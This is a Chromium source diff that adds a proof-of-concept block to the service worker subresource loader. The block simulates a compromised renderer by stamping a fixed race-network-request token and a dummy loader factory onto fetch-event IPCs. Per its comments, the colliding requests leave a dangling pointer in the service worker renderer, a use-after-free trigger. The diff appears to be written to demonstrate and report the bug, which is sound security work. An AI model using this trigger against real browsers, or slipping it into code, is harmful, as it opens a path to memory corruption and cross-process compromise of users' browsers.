diff --git a/content/renderer/service_worker/service_worker_subresource_loader.cc b/content/renderer/service_worker/service_worker_subresource_loader.cc
index f239cddda4231..b0e962205ab24 100644
--- a/content/renderer/service_worker/service_worker_subresource_loader.cc
+++ b/content/renderer/service_worker/service_worker_subresource_loader.cc
@@ -535,6 +535,20 @@ void ServiceWorkerSubresourceLoader::DispatchFetchEventForSubresource() {
     params->request->service_worker_race_network_request_token =
         base::UnguessableToken::Create();
   }
+  // --- POC INJECTION (compromised-renderer simulation) -----------------------
+  // A compromised client renderer crafts DispatchFetchEventForSubresource IPCs
+  // carrying a *fixed* race_network_request token plus a (dummy but valid)
+  // race_network_request_loader_factory. Two such IPCs collide in the SW
+  // renderer's race_network_requests_ map, leaving a dangling pointer in
+  // race_network_request_fetch_event_ids_.
+  {
+    static const base::UnguessableToken kFixed = base::UnguessableToken::Create();
+    mojo::PendingRemote<network::mojom::URLLoaderFactory> dummy;
+    std::ignore = dummy.InitWithNewPipeAndPassReceiver();
+    params->race_network_request_loader_factory = std::move(dummy);
+    params->request->service_worker_race_network_request_token = kFixed;
+  }
+  // ---------------------------------------------------------------------------
 
   // TODO(falken): Grant the controller service worker's process access to files
   // in the body, like ServiceWorkerFetchDispatcher::DispatchFetchEvent() does.